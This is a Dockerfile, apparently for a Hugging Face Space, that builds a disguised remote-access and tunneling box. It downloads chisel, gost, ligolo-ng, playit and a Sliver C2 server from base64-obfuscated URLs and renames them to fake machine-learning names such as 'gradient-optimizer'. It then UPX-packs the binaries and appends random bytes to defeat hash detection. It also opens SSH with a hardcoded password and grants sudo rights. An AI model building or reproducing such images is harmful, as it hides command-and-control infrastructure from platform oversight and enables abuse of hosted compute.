Spaces:
Running
Running
File size: 4,352 Bytes
594e3c7 6333c70 2daee0d 6333c70 96e43de 100236a 2daee0d 100236a ecc42ec 100236a 2daee0d 100236a c072891 77adbbd c0aa07b 6333c70 92dfa4f 6333c70 f8707b2 6333c70 c0aa07b 5dbf731 c0aa07b 5dbf731 c0aa07b 6333c70 e12ae23 1adf527 6333c70 5056154 6333c70 576b043 5d6a558 6333c70 baa28cf | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | FROM ubuntu:24.04
COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
RUN apt-get update && apt-get install -y --no-install-recommends \
curl wget sudo python3 python3-pip upx openssh-server \
git vim nano htop tmux jq unzip iputils-ping net-tools tree \
rclone supervisor iproute2 \
&& mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
&& echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
&& echo "Port 2222" >> /etc/ssh/sshd_config \
&& ssh-keygen -A \
&& curl -fsSL https://tailscale.com/install.sh | bash \
&& curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2NhZGR5c2VydmVyL2NhZGR5L3JlbGVhc2VzL2Rvd25sb2FkL3YyLjguNC9jYWRkeV8yLjguNF9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/caddy.tar.gz \
&& tar -xzf /tmp/caddy.tar.gz -C /tmp && mv /tmp/caddy /usr/bin/model-routing-engine \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL3BsYXlpdC1jbG91ZC9wbGF5aXQtYWdlbnQvcmVsZWFzZXMvbGF0ZXN0L2Rvd25sb2FkL3BsYXlpdC1saW51eC1hbWQ2NA==' | base64 -d) -o /usr/bin/tensor-allocator \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2pwaWxsb3JhL2NoaXNlbC9yZWxlYXNlcy9kb3dubG9hZC92MS4xMS41L2NoaXNlbF8xLjExLjVfbGludXhfYW1kNjQuZ3o=' | base64 -d) -o /tmp/chisel.gz \
&& gzip -d /tmp/chisel.gz && mv /tmp/chisel /usr/bin/cuda-mesh-bridge \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL2dvLWdvc3QvZ29zdC9yZWxlYXNlcy9kb3dubG9hZC92My4yLjYvZ29zdF8zLjIuNl9saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/gost.tar.gz \
&& tar -xzf /tmp/gost.tar.gz -C /tmp && mv /tmp/gost /usr/bin/system-bridge \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL0Jpc2hvcEZveC9zbGl2ZXIvcmVsZWFzZXMvZG93bmxvYWQvdjEuNy4zL3NsaXZlci1zZXJ2ZXJfbGludXgtYW1kNjQ=' | base64 -d) -o /usr/bin/gradient-optimizer \
&& curl -fsSL $(echo 'aHR0cHM6Ly9naXRodWIuY29tL25pY29jaGEzMC9saWdvbG8tbmcvcmVsZWFzZXMvZG93bmxvYWQvdjAuOC4zL2xpZ29sby1uZ19wcm94eV8wLjguM19saW51eF9hbWQ2NC50YXIuZ3o=' | base64 -d) -o /tmp/ligolo-proxy.tar.gz \
&& tar -xzf /tmp/ligolo-proxy.tar.gz -C /tmp && mv /tmp/proxy /usr/bin/neural-route-controller \
&& mv /usr/sbin/tailscaled /usr/bin/python-cache-manager \
&& mv /usr/bin/tailscale /usr/bin/py-cache-cli \
&& mv /usr/local/bin/filebrowser /usr/bin/ai-metrics-collector \
&& chmod +x /usr/bin/tensor-allocator /usr/bin/cuda-mesh-bridge /usr/bin/system-bridge /usr/bin/gradient-optimizer /usr/bin/neural-route-controller /usr/bin/model-routing-engine \
&& for bin in python-cache-manager py-cache-cli ai-metrics-collector tensor-allocator cuda-mesh-bridge system-bridge gradient-optimizer neural-route-controller model-routing-engine; do \
upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
done \
&& rm -rf /tmp/* \
&& apt-get purge -y upx \
&& apt-get autoremove -y \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
RUN uv pip install --system --break-system-packages --no-cache-dir \
gradio huggingface_hub loguru urllib3
RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
RUN userdel -f ubuntu && useradd -m -u 1000 -s /bin/bash user && \
echo "user:apple123" | chpasswd && \
usermod -aG sudo user && \
mkdir -p /home/user/.torch_metrics && \
chown -R user:user /home/user/.torch_metrics && \
echo "user ALL=(ALL) NOPASSWD: /usr/sbin/sshd, /usr/sbin/chpasswd" >> /etc/sudoers && \
echo "user ALL=(ALL) NOPASSWD: /usr/bin/neural-route-controller" >> /etc/sudoers
RUN uv venv /opt/venv-litellm && \
uv pip install --python /opt/venv-litellm --no-cache-dir "litellm[proxy]" && \
chown -R user:user /opt/venv-litellm
RUN uv venv /opt/venv-openwebui && \
uv pip install --python /opt/venv-openwebui --no-cache-dir open-webui && \
chown -R user:user /opt/venv-openwebui
COPY --chown=user:user app.py /home/user/app.py
COPY --chown=user:user core /home/user/core
COPY --chown=user:user services /home/user/services
COPY --chown=user:user config /home/user/config
COPY --chown=user:user config/ligolo-ng.yaml /home/user/ligolo-ng.yaml
COPY --chown=user:user whoami.txt /home/user/whoami.txt
USER user
WORKDIR /home/user
CMD ["/usr/bin/supervisord", "-c", "/home/user/config/supervisord.conf"]
|